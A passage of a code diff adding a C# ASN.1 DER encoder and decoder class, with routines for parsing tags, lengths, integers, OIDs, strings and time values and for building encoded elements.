garbage"); + } + byte[] nbuf = new byte[objLen]; + Array.Copy(buf, off, nbuf, 0, objLen); + return DecodeNoCopy(nbuf, 0, objLen); + } + + /* + * Internal recursive decoder. The provided array is NOT copied. + * Trailing garbage is ignored (caller should use the 'objLen' + * field to learn the total object length). + */ + static AsnElt DecodeNoCopy(byte[] buf, int off, int len) + { + int tc, tv, valOff, valLen, objLen; + bool cons; + objLen = Decode(buf, off, len, + out tc, out tv, out cons, + out valOff, out valLen); + AsnElt a = new AsnElt(); + a.TagClass = tc; + a.TagValue = tv; + a.objBuf = buf; + a.objOff = off; + a.objLen = objLen; + a.valOff = valOff; + a.valLen = valLen; + a.hasEncodedHeader = true; + if (cons) { + List subs = new List(); + off = valOff; + int lim = valOff + valLen; + while (off < lim) { + AsnElt b = DecodeNoCopy(buf, off, lim - off); + off += b.objLen; + subs.Add(b); + } + a.Sub = subs.ToArray(); + } else { + a.Sub = null; + } + return a; + } + + /* + * Decode the tag and length, and get the value offset and length. + * Returned value if the total object length. + * Note: when an object has indefinite length, the terminated + * "null tag" will NOT be considered part of the "value length". + */ + static int Decode(byte[] buf, int off, int maxLen, + out int tc, out int tv, out bool cons, + out int valOff, out int valLen) + { + int lim = off + maxLen; + int orig = off; + + /* + * Decode tag. + */ + CheckOff(off, lim); + tv = buf[off ++]; + cons = (tv & 0x20) != 0; + tc = tv >> 6; + tv &= 0x1F; + if (tv == 0x1F) { + tv = 0; + for (;;) { + CheckOff(off, lim); + int c = buf[off ++]; + if (tv > 0xFFFFFF) { + throw new AsnException( + "tag value overflow"); + } + tv = (tv << 7) | (c & 0x7F); + if ((c & 0x80) == 0) { + break; + } + } + } + + /* + * Decode length. + */ + CheckOff(off, lim); + int vlen = buf[off ++]; + if (vlen == 0x80) { + /* + * Indefinite length. This is not strict DER, but + * we allow it nonetheless; we must check that + * the value was tagged as constructed, though. + */ + vlen = -1; + if (!cons) { + throw new AsnException("indefinite length" + + " but not constructed"); + } + } else if (vlen > 0x80) { + int lenlen = vlen - 0x80; + CheckOff(off + lenlen - 1, lim); + vlen = 0; + while (lenlen -- > 0) { + if (vlen > 0x7FFFFF) { + throw new AsnException( + "length overflow"); + } + vlen = (vlen << 8) + buf[off ++]; + } + } + + /* + * Length was decoded, so the value starts here. + */ + valOff = off; + + /* + * If length is indefinite then we must explore sub-objects + * to get the value length. + */ + if (vlen < 0) { + for (;;) { + int tc2, tv2, valOff2, valLen2; + bool cons2; + int slen; + + slen = Decode(buf, off, lim - off, + out tc2, out tv2, out cons2, + out valOff2, out valLen2); + if (tc2 == 0 && tv2 == 0) { + if (cons2 || valLen2 != 0) { + throw new AsnException( + "invalid null tag"); + } + valLen = off - valOff; + off += slen; + break; + } else { + off += slen; + } + } + } else { + if (vlen > (lim - off)) { + throw new AsnException("value overflow"); + } + off += vlen; + valLen = off - valOff; + } + + return off - orig; + } + + static void CheckOff(int off, int lim) + { + if (off >= lim) { + throw new AsnException("offset overflow"); + } + } + + /* + * Get a specific byte from the value. This provided offset is + * relative to the value start (first value byte has offset 0). + */ + public int ValueByte(int off) + { + if (off < 0) { + throw new AsnException("invalid value offset: " + off); + } + if (objBuf == null) { + int k = 0; + foreach (AsnElt a in Sub) { + int slen = a.EncodedLength; + if ((k + slen) > off) { + return a.ValueByte(off - k); + } + } + } else { + if (off < valLen) { + return objBuf[valOff + off]; + } + } + throw new AsnException(String.Format( + "invalid value offset {0} (length = {1})", + off, ValueLength)); + } + + /* + * Encode this object into a newly allocated array. + */ + public byte[] Encode() + { + byte[] r = new byte[EncodedLength]; + Encode(r, 0); + return r; + } + + /* + * Encode this object into the provided array. Encoded object + * length is returned. + */ + public int Encode(byte[] dst, int off) + { + return Encode(0, Int32.MaxValue, dst, off); + } + + /* + * Encode this object into the provided array. Only bytes + * at offset between 'start' (inclusive) and 'end' (exclusive) + * are actually written. The number of written bytes is returned. + * Offsets are relative to the object start (first tag byte). + */ + int Encode(int start, int end, byte[] dst, int dstOff) + { + /* + * If the encoded value is already known, then we just + * dump it. + */ + if (hasEncodedHeader) { + int from = objOff + Math.Max(0, start); + int to = objOff + Math.Min(objLen, end); + int len = to - from; + if (len > 0) { + Array.Copy(objBuf, from, dst, dstOff, len); + return len; + } else { + return 0; + } + } + + int off = 0; + + /* + * Encode tag. + */ + int fb = (TagClass << 6) + (Constructed ? 0x20 : 0x00); + if (TagValue < 0x1F) { + fb |= (TagValue & 0x1F); + if (start <= off && off < end) { + dst[dstOff ++] = (byte)fb; + } + off ++; + } else { + fb |= 0x1F; + if (start <= off && off < end) { + dst[dstOff ++] = (byte)fb; + } + off ++; + int k = 0; + for (int v = TagValue; v > 0; v >>= 7, k += 7); + while (k > 0) { + k -= 7; + int v = (TagValue >> k) & 0x7F; + if (k != 0) { + v |= 0x80; + } + if (start <= off && off < end) { + dst[dstOff ++] = (byte)v; + } + off ++; + } + } + + /* + * Encode length. + */ + int vlen = ValueLength; + if (vlen < 0x80) { + if (start <= off && off < end) { + dst[dstOff ++] = (byte)vlen; + } + off ++; + } else { + int k = 0; + for (int v = vlen; v > 0; v >>= 8, k += 8); + if (start <= off && off < end) { + dst[dstOff ++] = (byte)(0x80 + (k >> 3)); + } + off ++; + while (k > 0) { + k -= 8; + if (start <= off && off < end) { + dst[dstOff ++] = (byte)(vlen >> k); + } + off ++; + } + } + + /* + * Encode value. We must adjust the start/end window to + * make it relative to the value. + */ + EncodeValue(start - off, end - off, dst, dstOff); + off += vlen; + + /* + * Compute copied length. + */ + return Math.Max(0, Math.Min(off, end) - Math.Max(0, start)); + } + + /* + * Encode the value into the provided buffer. Only value bytes + * at offsets between 'start' (inclusive) and 'end' (exclusive) + * are written. Actual number of written bytes is returned. + * Offsets are relative to the start of the value. + */ + int EncodeValue(int start, int end, byte[] dst, int dstOff) + { + int orig = dstOff; + if (objBuf == null) { + int k = 0; + foreach (AsnElt a in Sub) { + int slen = a.EncodedLength; + dstOff += a.Encode(start - k, end - k, + dst, dstOff); + k += slen; + } + } else { + int from = Math.Max(0, start); + int to = Math.Min(valLen, end); + int len = to - from; + if (len > 0) { + Array.Copy(objBuf, valOff + from, + dst, dstOff, len); + dstOff += len; + } + } + return dstOff - orig; + } + + /* + * Copy a value chunk. The provided offset ('off') and length ('len') + * define the chunk to copy; the offset is relative to the value + * start (first value byte has offset 0). If the requested window + * exceeds the value boundaries, an exception is thrown. + */ + public void CopyValueChunk(int off, int len, byte[] dst, int dstOff) + { + int vlen = ValueLength; + if (off < 0 || len < 0 || len > (vlen - off)) { + throw new AsnException(String.Format( + "invalid value window {0}:{1}" + + " (value length = {2})", off, len, vlen)); + } + EncodeValue(off, off + len, dst, dstOff); + } + + /* + * Copy the value into the specified array. The value length is + * returned. + */ + public int CopyValue(byte[] dst, int off) + { + return EncodeValue(0, Int32.MaxValue, dst, off); + } + + /* + * Get a copy of the value as a freshly allocated array. + */ + public byte[] CopyValue() + { + byte[] r = new byte[ValueLength]; + EncodeValue(0, r.Length, r, 0); + return r; + } + + /* + * Get the value. This may return a shared buffer, that MUST NOT + * be modified. + */ + byte[] GetValue(out int off, out int len) + { + if (objBuf == null) { + /* + * We can modify objBuf because CopyValue() + * called ValueLength, thus valLen has been + * filled. + */ + objBuf = CopyValue(); + off = 0; + len = objBuf.Length; + } else { + off = valOff; + len = valLen; + } + return objBuf; + } + + /* + * Interpret the value as a BOOLEAN. + */ + public bool GetBoolean() + { + if (Constructed) { + throw new AsnException( + "invalid BOOLEAN (constructed)"); + } + int vlen = ValueLength; + if (vlen != 1) { + throw new AsnException(String.Format( + "invalid BOOLEAN (length = {0})", vlen)); + } + return ValueByte(0) != 0; + } + + /* + * Interpret the value as an INTEGER. An exception is thrown if + * the value does not fit in a 'long'. + */ + public long GetInteger() + { + if (Constructed) { + throw new AsnException( + "invalid INTEGER (constructed)"); + } + int vlen = ValueLength; + if (vlen == 0) { + throw new AsnException("invalid INTEGER (length = 0)"); + } + int v = ValueByte(0); + long x; + if ((v & 0x80) != 0) { + x = -1; + for (int k = 0; k < vlen; k ++) { + if (x < ((-1L) << 55)) { + throw new AsnException( + "integer overflow (negative)"); + } + x = (x << 8) + (long)ValueByte(k); + } + } else { + x = 0; + for (int k = 0; k < vlen; k ++) { + if (x >= (1L << 55)) { + throw new AsnException( + "integer overflow (positive)"); + } + x = (x << 8) + (long)ValueByte(k); + } + } + return x; + } + + /* + * Interpret the value as an INTEGER. An exception is thrown if + * the value is outside of the provided range. + */ + public long GetInteger(long min, long max) + { + long v = GetInteger(); + if (v < min || v > max) { + throw new AsnException("integer out of allowed range"); + } + return v; + } + + /* + * Interpret the value as an INTEGER. Return its hexadecimal + * representation (uppercase), preceded by a '0x' or '-0x' + * header, depending on the integer sign. The number of + * hexadecimal digits is even. Leading zeroes are returned (but + * one may remain, to ensure an even number of digits). If the + * integer has value 0, then 0x00 is returned. + */ + public string GetIntegerHex() + { + if (Constructed) { + throw new AsnException( + "invalid INTEGER (constructed)"); + } + int vlen = ValueLength; + if (vlen == 0) { + throw new AsnException("invalid INTEGER (length = 0)"); + } + StringBuilder sb = new StringBuilder(); + byte[] tmp = CopyValue(); + if (tmp[0] >= 0x80) { + sb.Append('-'); + int cc = 1; + for (int i = tmp.Length - 1; i >= 0; i --) { + int v = ((~tmp[i]) & 0xFF) + cc; + tmp[i] = (byte)v; + cc = v >> 8; + } + } + int k = 0; + while (k < tmp.Length && tmp[k] == 0) { + k ++; + } + if (k == tmp.Length) { + return "0x00"; + } + sb.Append("0x"); + while (k < tmp.Length) { + sb.AppendFormat("{0:X2}", tmp[k ++]); + } + return sb.ToString(); + } + + /* + * Interpret the value as an OCTET STRING. The value bytes are + * returned. This method supports constructed values and performs + * the reassembly. + */ + public byte[] GetOctetString() + { + int len = GetOctetString(null, 0); + byte[] r = new byte[len]; + GetOctetString(r, 0); + return r; + } + + /* + * Interpret the value as an OCTET STRING. The value bytes are + * written in dst[], starting at offset 'off', and the total value + * length is returned. If 'dst' is null, then no byte is written + * anywhere, but the total length is still returned. This method + * supports constructed values and performs the reassembly. + */ + public int GetOctetString(byte[] dst, int off) + { + if (Constructed) { + int orig = off; + foreach (AsnElt ae in Sub) { + ae.CheckTag(AsnElt.OCTET_STRING); + off += ae.GetOctetString(dst, off); + } + return off - orig; + } + if (dst != null) { + return CopyValue(dst, off); + } else { + return ValueLength; + } + } + + /* + * Interpret the value as a BIT STRING. The bits are returned, + * with the "ignored bits" cleared. + */ + public byte[] GetBitString() + { + int bitLength; + return GetBitString(out bitLength); + } + + /* + * Interpret the value as a BIT STRING. The bits are returned, + * with the "ignored bits" cleared. The actual bit length is + * written in 'bitLength'. + */ + public byte[] GetBitString(out int bitLength) + { + if (Constructed) { + /* + * TODO: support constructed BIT STRING values. + */ + throw new AsnException( + "invalid BIT STRING (constructed)"); + } + int vlen = ValueLength; + if (vlen == 0) { + throw new AsnException( + "invalid BIT STRING (length = 0)"); + } + int fb = ValueByte(0); + if (fb > 7 || (vlen == 1 && fb != 0)) { + throw new AsnException(String.Format( + "invalid BIT STRING (start = 0x{0:X2})", fb)); + } + byte[] r = new byte[vlen - 1]; + CopyValueChunk(1, vlen - 1, r, 0); + if (vlen > 1) { + r[r.Length - 1] &= (byte)(0xFF << fb); + } + bitLength = (r.Length << 3) - fb; + return r; + } + + /* + * Interpret the value as a NULL. + */ + public void CheckNull() + { + if (Constructed) { + throw new AsnException( + "invalid NULL (constructed)"); + } + if (ValueLength != 0) { + throw new AsnException(String.Format( + "invalid NULL (length = {0})", ValueLength)); + } + } + + /* + * Interpret the value as an OBJECT IDENTIFIER, and return it + * (in decimal-dotted string format). + */ + public string GetOID() + { + CheckPrimitive(); + if (valLen == 0) { + throw new AsnException("zero-length OID"); + } + int v = objBuf[valOff]; + if (v >= 120) { + throw new AsnException( + "invalid OID: first byte = " + v); + } + StringBuilder sb = new StringBuilder(); + sb.Append(v / 40); + sb.Append('.'); + sb.Append(v % 40); + long acc = 0; + bool uv = false; + for (int i = 1; i < valLen; i ++) { + v = objBuf[valOff + i]; + if ((acc >> 56) != 0) { + throw new AsnException( + "invalid OID: integer overflow"); + } + acc = (acc << 7) + (long)(v & 0x7F); + if ((v & 0x80) == 0) { + sb.Append('.'); + sb.Append(acc); + acc = 0; + uv = false; + } else { + uv = true; + } + } + if (uv) { + throw new AsnException( + "invalid OID: truncated"); + } + return sb.ToString(); + } + + /* + * Get the object value as a string. The string type is inferred + * from the tag. + */ + public string GetString() + { + if (TagClass != UNIVERSAL) { + throw new AsnException(String.Format( + "cannot infer string type: {0}:{1}", + TagClass, TagValue)); + } + return GetString(TagValue); + } + + /* + * Get the object value as a string. The string type is provided + * (universal tag value). Supported string types include + * NumericString, PrintableString, IA5String, TeletexString + * (interpreted as ISO-8859-1), UTF8String, BMPString and + * UniversalString; the "time types" (UTCTime and GeneralizedTime) + * are also supported, though, in their case, the internal + * contents are not checked (they are decoded as PrintableString). + */ + public string GetString(int type) + { + if (Constructed) { + throw new AsnException( + "invalid string (constructed)"); + } + switch (type) { + case NumericString: + case PrintableString: + case IA5String: + case TeletexString: + case UTCTime: + case GeneralizedTime: + return DecodeMono(objBuf, valOff, valLen, type); + case UTF8String: + return DecodeUTF8(objBuf, valOff, valLen); + case BMPString: + return DecodeUTF16(objBuf, valOff, valLen); + case UniversalString: + return DecodeUTF32(objBuf, valOff, valLen); + default: + throw new AsnException( + "unsupported string type: " + type); + } + } + + static string DecodeMono(byte[] buf, int off, int len, int type) + { + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + tc[i] = (char)buf[off + i]; + } + VerifyChars(tc, type); + return new string(tc); + } + + static string DecodeUTF8(byte[] buf, int off, int len) + { + /* + * Skip BOM. + */ + if (len >= 3 && buf[off] == 0xEF + && buf[off + 1] == 0xBB && buf[off + 2] == 0xBF) + { + off += 3; + len -= 3; + } + char[] tc = null; + for (int k = 0; k < 2; k ++) { + int tcOff = 0; + for (int i = 0; i < len; i ++) { + int c = buf[off + i]; + int e; + if (c < 0x80) { + e = 0; + } else if (c < 0xC0) { + throw BadByte(c, UTF8String); + } else if (c < 0xE0) { + c &= 0x1F; + e = 1; + } else if (c < 0xF0) { + c &= 0x0F; + e = 2; + } else if (c < 0xF8) { + c &= 0x07; + e = 3; + } else { + throw BadByte(c, UTF8String); + } + while (e -- > 0) { + if (++ i >= len) { + throw new AsnException( + "invalid UTF-8 string"); + } + int d = buf[off + i]; + if (d < 0x80 || d > 0xBF) { + throw BadByte(d, UTF8String); + } + c = (c << 6) + (d & 0x3F); + } + if (c > 0x10FFFF) { + throw BadChar(c, UTF8String); + } + if (c > 0xFFFF) { + c -= 0x10000; + int hi = 0xD800 + (c >> 10); + int lo = 0xDC00 + (c & 0x3FF); + if (tc != null) { + tc[tcOff] = (char)hi; + tc[tcOff + 1] = (char)lo; + } + tcOff += 2; + } else { + if (tc != null) { + tc[tcOff] = (char)c; + } + tcOff ++; + } + } + if (tc == null) { + tc = new char[tcOff]; + } + } + VerifyChars(tc, UTF8String); + return new string(tc); + } + + static string DecodeUTF16(byte[] buf, int off, int len) + { + if ((len & 1) != 0) { + throw new AsnException( + "invalid UTF-16 string: length = " + len); + } + len >>= 1; + if (len == 0) { + return ""; + } + bool be = true; + int hi = buf[off]; + int lo = buf[off + 1]; + if (hi == 0xFE && lo == 0xFF) { + off += 2; + len --; + } else if (hi == 0xFF && lo == 0xFE) { + off += 2; + len --; + be = false; + } + char[] tc = new char[len]; + for (int i = 0; i < len; i ++) { + int b0 = buf[off ++]; + int b1 = buf[off ++]; + if (be) { + tc[i] = (char)((b0 << 8) + b1); + } else { + tc[i] = (char)((b1 << 8) + b0); + } + } + VerifyChars(tc, BMPString); + return new string(tc); + } + + static string DecodeUTF32(byte[] buf, int off, int len) + { + if ((len & 3) != 0) { + throw new AsnException( + "invalid UTF-32 string: length = " + len); + } + len >>= 2; + if (len == 0) { + return ""; + } + bool be = true; + if (buf[off] == 0x00 + && buf[off + 1] == 0x00 + && buf[off + 2] == 0xFE + && buf[off + 3] == 0xFF) + { + off += 4; + len --; + } else if (buf[off] == 0xFF + && buf[off + 1] == 0xFE + && buf[off + 2] == 0x00 + && buf[off + 3] == 0x00) + { + off += 4; + len --; + be = false; + } + + char[] tc = null; + for (int k = 0; k < 2; k ++) { + int tcOff = 0; + for (int i = 0; i < len; i ++) { + uint b0 = buf[off + 0]; + uint b1 = buf[off + 1]; + uint b2 = buf[off + 2]; + uint b3 = buf[off + 3]; + uint c; + if (be) { + c = (b0 << 24) | (b1 << 16) + | (b2 << 8) | b3; + } else { + c = (b3 << 24) | (b2 << 16) + | (b1 << 8) | b0; + } + if (c > 0x10FFFF) { + throw BadChar((int)c, UniversalString); + } + if (c > 0xFFFF) { + c -= 0x10000; + int hi = 0xD800 + (int)(c >> 10); + int lo = 0xDC00 + (int)(c & 0x3FF); + if (tc != null) { + tc[tcOff] = (char)hi; + tc[tcOff + 1] = (char)lo; + } + tcOff += 2; + } else { + if (tc != null) { + tc[tcOff] = (char)c; + } + tcOff ++; + } + } + if (tc == null) { + tc = new char[tcOff]; + } + } + VerifyChars(tc, UniversalString); + return new string(tc); + } + + static void VerifyChars(char[] tc, int type) + { + switch (type) { + case NumericString: + foreach (char c in tc) { + if (!IsNum(c)) { + throw BadChar(c, type); + } + } + return; + case PrintableString: + case UTCTime: + case GeneralizedTime: + foreach (char c in tc) { + if (!IsPrintable(c)) { + throw BadChar(c, type); + } + } + return; + case IA5String: + foreach (char c in tc) { + if (!IsIA5(c)) { + throw BadChar(c, type); + } + } + return; + case TeletexString: + foreach (char c in tc) { + if (!IsLatin1(c)) { + throw BadChar(c, type); + } + } + return; + } + + /* + * For Unicode string types (UTF-8, BMP...). + */ + for (int i = 0; i < tc.Length; i ++) { + int c = tc[i]; + if (c >= 0xFDD0 && c <= 0xFDEF) { + throw BadChar(c, type); + } + if (c == 0xFFFE || c == 0xFFFF) { + throw BadChar(c, type); + } + if (c < 0xD800 || c > 0xDFFF) { + continue; + } + if (c > 0xDBFF) { + throw BadChar(c, type); + } + int hi = c & 0x3FF; + if (++ i >= tc.Length) { + throw BadChar(c, type); + } + c = tc[i]; + if (c < 0xDC00 || c > 0xDFFF) { + throw BadChar(c, type); + } + int lo = c & 0x3FF; + c = 0x10000 + lo + (hi << 10); + if ((c & 0xFFFE) == 0xFFFE) { + throw BadChar(c, type); + } + } + } + + static bool IsNum(int c) + { + return c == ' ' || (c >= '0' && c <= '9'); + } + + internal static bool IsPrintable(int c) + { + if (c >= 'A' && c <= 'Z') { + return true; + } + if (c >= 'a' && c <= 'z') { + return true; + } + if (c >= '0' && c <= '9') { + return true; + } + switch (c) { + case ' ': case '(': case ')': case '+': + case ',': case '-': case '.': case '/': + case ':': case '=': case '?': case '\'': + return true; + default: + return false; + } + } + + static bool IsIA5(int c) + { + return c < 128; + } + + static bool IsLatin1(int c) + { + return c < 256; + } + + static AsnException BadByte(int c, int type) + { + return new AsnException(String.Format( + "unexpected byte 0x{0:X2} in string of type {1}", + c, type)); + } + + static AsnException BadChar(int c, int type) + { + return new AsnException(String.Format( + "unexpected character U+{0:X4} in string of type {1}", + c, type)); + } + + /* + * Decode the value as a date/time. Returned object is in UTC. + * Type of date is inferred from the tag value. + */ + public DateTime GetTime() + { + if (TagClass != UNIVERSAL) { + throw new AsnException(String.Format( + "cannot infer date type: {0}:{1}", + TagClass, TagValue)); + } + return GetTime(TagValue); + } + + /* + * Decode the value as a date/time. Returned object is in UTC. + * The time string type is provided as parameter (UTCTime or + * GeneralizedTime). + */ + public DateTime GetTime(int type) + { + bool isGen = false; + switch (type) { + case UTCTime: + break; + case GeneralizedTime: + isGen = true; + break; + default: + throw new AsnException( + "unsupported date type: " + type); + } + string s = GetString(type); + string orig = s; + + /* + * UTCTime has format: + * YYMMDDhhmm[ss](Z|(+|-)hhmm) + * + * GeneralizedTime has format: + * YYYYMMDDhhmmss[.uu*][Z|(+|-)hhmm] + * + * Differences between the two types: + * -- UTCTime encodes year over two digits; GeneralizedTime + * uses four digits. UTCTime years map to 1950..2049 (00 is + * 2000). + * -- Seconds are optional with UTCTime, mandatory with + * GeneralizedTime. + * -- GeneralizedTime can have fractional seconds (optional). + * -- Time zone is optional for GeneralizedTime. However, + * a missing time zone means "local time" which depends on + * the locality, so this is discouraged. + * + * Some other notes: + * -- If there is a fractional second, then it must include + * at least one digit. This implementation processes the + * first three digits, and ignores the rest (if present). + * -- Time zone offset ranges from -23:59 to +23:59. + * -- The calendar computations are delegated to .NET's + * DateTime (and DateTimeOffset) so this implements a + * Gregorian calendar, even for dates before 1589. Year 0 + * is not supported. + */ + + /* + * Check characters. + */ + foreach (char c in s) { + if (c >= '0' && c <= '9') { + continue; + } + if (c == '.' || c == '+' || c == '-' || c == 'Z') { + continue; + } + throw BadTime(type, orig); + } + + bool good = true; + + /* + * Parse the time zone. + */ + int tzHours = 0; + int tzMinutes = 0; + bool negZ = false; + bool noTZ = false; + if (s.EndsWith("Z")) { + s = s.Substring(0, s.Length - 1); + } else { + int j = s.IndexOf('+'); + if (j < 0) { + j = s.IndexOf('-'); + negZ = true; + } + if (j < 0) { + noTZ = true; + } else { + string t = s.Substring(j + 1); + s = s.Substring(0, j); + if (t.Length != 4) { + throw BadTime(type, orig); + } + tzHours = Dec2(t, 0, ref good); + tzMinutes = Dec2(t, 2, ref good); + if (tzHours < 0 || tzHours > 23 + || tzMinutes < 0 || tzMinutes > 59) + { + throw BadTime(type, orig); + } + } + } + + /* + * Lack of time zone is allowed only for GeneralizedTime. + */ + if (noTZ && !isGen) { + throw BadTime(type, orig); + } + + /* + * Parse the date elements. + */ + if (s.Length < 4) { + throw BadTime(type, orig); + } + int year = Dec2(s, 0, ref good); + if (isGen) { + year = year * 100 + Dec2(s, 2, ref good); + s = s.Substring(4); + } else { + if (year < 50) { + year += 100; + } + year += 1900; + s = s.Substring(2); + } + int month = Dec2(s, 0, ref good); + int day = Dec2(s, 2, ref good); + int hour = Dec2(s, 4, ref good); + int minute = Dec2(s, 6, ref good); + int second = 0; + int millisecond = 0; + if (isGen) { + second = Dec2(s, 8, ref good); + if (s.Length >= 12 && s[10] == '.') { + s = s.Substring(11); + foreach (char c in s) { + if (c < '0' || c > '9') { + good = false; + break; + } + } + s += "0000"; + millisecond = 10 * Dec2(s, 0, ref good) + + Dec2(s, 2, ref good) / 10; + } else if (s.Length != 10) { + good = false; + } + } else { + switch (s.Length) { + case 8: + break; + case 10: + second = Dec2(s, 8, ref good); + break; + default: + throw BadTime(type, orig); + } + } + + /* + * Parsing is finished; if any error occurred, then + * the 'good' flag has been cleared. + */ + if (!good) { + throw BadTime(type, orig); + } + + /* + * Leap seconds are not supported by .NET, so we claim + * they do not occur. + */ + if (second == 60) { + second = 59; + } + + /* + * .NET implementation performs all the checks (including + * checks on month length depending on year, as per the + * proleptic Gregorian calendar). + */ + try { + if (noTZ) { + DateTime dt = new DateTime(year, month, day, + hour, minute, second, millisecond, + DateTimeKind.Local); + return dt.ToUniversalTime(); + } + TimeSpan tzOff = new TimeSpan(tzHours, tzMinutes, 0); + if (negZ) { + tzOff = tzOff.Negate(); + } + DateTimeOffset dto = new DateTimeOffset( + year, month, day, hour, minute, second, + millisecond, tzOff); + return dto.UtcDateTime; + } catch (Exception e) { + throw BadTime(type, orig, e); + } + } + + static int Dec2(string s, int off, ref bool good) + { + if (off < 0 || off >= (s.Length - 1)) { + good = false; + return -1; + } + char c1 = s[off]; + char c2 = s[off + 1]; + if (c1 < '0' || c1 > '9' || c2 < '0' || c2 > '9') { + good = false; + return -1; + } + return 10 * (c1 - '0') + (c2 - '0'); + } + + static AsnException BadTime(int type, string s) + { + return BadTime(type, s, null); + } + + static AsnException BadTime(int type, string s, Exception e) + { + string tt = (type == UTCTime) ? "UTCTime" : "GeneralizedTime"; + string msg = String.Format("invalid {0} string: '{1}'", tt, s); + if (e == null) { + return new AsnException(msg); + } else { + return new AsnException(msg, e); + } + } + + /* =============================================================== */ + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive(int tagValue, byte[] val) + { + return MakePrimitive(UNIVERSAL, tagValue, val, 0, val.Length); + } + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive(int tagValue, + byte[] val, int off, int len) + { + return MakePrimitive(UNIVERSAL, tagValue, val, off, len); + } + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive( + int tagClass, int tagValue, byte[] val) + { + return MakePrimitive(tagClass, tagValue, val, 0, val.Length); + } + + /* + * Create a new element for a primitive value. The provided buffer + * is internally copied. + */ + public static AsnElt MakePrimitive(int tagClass, int tagValue, + byte[] val, int off, int len) + { + byte[] nval = new byte[len]; + Array.Copy(val, off, nval, 0, len); + return MakePrimitiveInner(tagClass, tagValue, nval, 0, len); + } + + /* + * Like MakePrimitive(), but the provided array is NOT copied. + * This is for other factory methods that already allocate a + * new array. + */ + static AsnElt MakePrimitiveInner(int tagValue, byte[] val) + { + return MakePrimitiveInner(UNIVERSAL, tagValue, + val, 0, val.Length); + } + + static AsnElt MakePrimitiveInner(int tagValue, + byte[] val, int off, int len) + { + return MakePrimitiveInner(UNIVERSAL, tagValue, val, off, len); + } + + static AsnElt MakePrimitiveInner(int tagClass, int tagValue, byte[] val) + { + return MakePrimitiveInner(tagClass, tagValue, + val, 0, val.Length); + } + + static AsnElt MakePrimitiveInner(int tagClass, int tagValue, + byte[] val, int off, int len) + { + AsnElt a = new AsnElt(); + a.objBuf = new byte[len]; + Array.Copy(val, off, a.objBuf, 0, len); + a.objOff = 0; + a.objLen = -1; + a.valOff = 0; + a.valLen = len; + a.hasEncodedHeader = false; + if (tagClass < 0 || tagClass > 3) { + throw new AsnException( + "invalid tag class: " + tagClass); + } + if (tagValue < 0) { + throw new AsnException( + "invalid tag value: " + tagValue); + } + a.TagClass = tagClass; + a.TagValue = tagValue; + a.Sub = null; + return a; + } + + /* + * Create a new INTEGER value for the provided integer. + */ + public static AsnElt MakeInteger(long x) + { + if (x >= 0) { + return MakeInteger((ulong)x); + } + int k = 1; + for (long w = x; w <= -(long)0x80; w >>= 8) { + k ++; + } + byte[] v = new byte[k]; + for (long w = x; k > 0; w >>= 8) { + v[-- k] = (byte)w; + } + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a new INTEGER value for the provided integer. + */ + public static AsnElt MakeInteger(ulong x) + { + int k = 1; + for (ulong w = x; w >= 0x80; w >>= 8) { + k ++; + } + byte[] v = new byte[k]; + for (ulong w = x; k > 0; w >>= 8) { + v[-- k] = (byte)w; + } + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a new INTEGER value for the provided integer. The x[] + * array uses _unsigned_ big-endian encoding. + */ + public static AsnElt MakeInteger(byte[] x) + { + int xLen = x.Length; + int j = 0; + while (j < xLen && x[j] == 0x00) { + j ++; + } + if (j == xLen) { + return MakePrimitiveInner(INTEGER, new byte[] { 0x00 }); + } + byte[] v; + if (x[j] < 0x80) { + v = new byte[xLen - j]; + Array.Copy(x, j, v, 0, v.Length); + } else { + v = new byte[1 + xLen - j]; + Array.Copy(x, j, v, 1, v.Length - 1); + } + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a new INTEGER value for the provided integer. The x[] + * array uses _signed_ big-endian encoding. + */ + public static AsnElt MakeIntegerSigned(byte[] x) + { + int xLen = x.Length; + if (xLen == 0) { + throw new AsnException( + "Invalid signed integer (empty)"); + } + int j = 0; + if (x[0] >= 0x80) { + while (j < (xLen - 1) + && x[j] == 0xFF + && x[j + 1] >= 0x80) + { + j ++; + } + } else { + while (j < (xLen - 1) + && x[j] == 0x00 + && x[j + 1] < 0x80) + { + j ++; + } + } + byte[] v = new byte[xLen - j]; + Array.Copy(x, j, v, 0, v.Length); + return MakePrimitiveInner(INTEGER, v); + } + + /* + * Create a BIT STRING from the provided value. The number of + * "unused bits" is set to 0. + */ + public static AsnElt MakeBitString(byte[] buf) + { + return MakeBitString(buf, 0, buf.Length); + } + + public static AsnElt MakeBitString(byte[] buf, int off, int len) + { + byte[] tmp = new byte[len + 1]; + Array.Copy(buf, off, tmp, 1, len); + return MakePrimitiveInner(BIT_STRING, tmp); + } + + /* + * Create a BIT STRING from the provided value. The number of + * "unused bits" is specified. + */ + public static AsnElt MakeBitString(int unusedBits, byte[] buf) + { + return MakeBitString(unusedBits, buf, 0, buf.Length); + } + + public static AsnElt MakeBitString(int unusedBits, + byte[] buf, int off, int len) + { + if (unusedBits < 0 || unusedBits > 7 + || (unusedBits != 0 && len == 0)) + { + throw new AsnException( + "Invalid number of unused bits in BIT STRING: " + + unusedBits); + } + byte[] tmp = new byte[len + 1]; + tmp[0] = (byte)unusedBits; + Array.Copy(buf, off, tmp, 1, len); + if (len > 0) { + tmp[len - 1] &= (byte)(0xFF << unusedBits); + } + return MakePrimitiveInner(BIT_STRING, tmp); + } + + /* + * Create an OCTET STRING from the provided value. + */ + public static AsnElt MakeBlob(byte[] buf) + { + return MakeBlob(buf, 0, buf.Length); + } + + public static AsnElt MakeBlob(byte[] buf, int off, int len) + { + return MakePrimitive(OCTET_STRING, buf, off, len); + } + + /* + * Create a new constructed elements, by providing the relevant + * sub-elements. + */ + public static AsnElt Make(int tagValue, params AsnElt[] subs) + { + return Make(UNIVERSAL, tagValue, subs); + } + + /* + * Create a new constructed elements, by providing the relevant + * sub-elements. + */ + public static AsnElt Make(int tagClass, int tagValue, + params AsnElt[] subs) + { + AsnElt a = new AsnElt(); + a.objBuf = null; + a.objOff = 0; + a.objLen = -1; + a.valOff = 0; + a.valLen = -1; + a.hasEncodedHeader = false; + if (tagClass < 0 || tagClass > 3) { + throw new AsnException( + 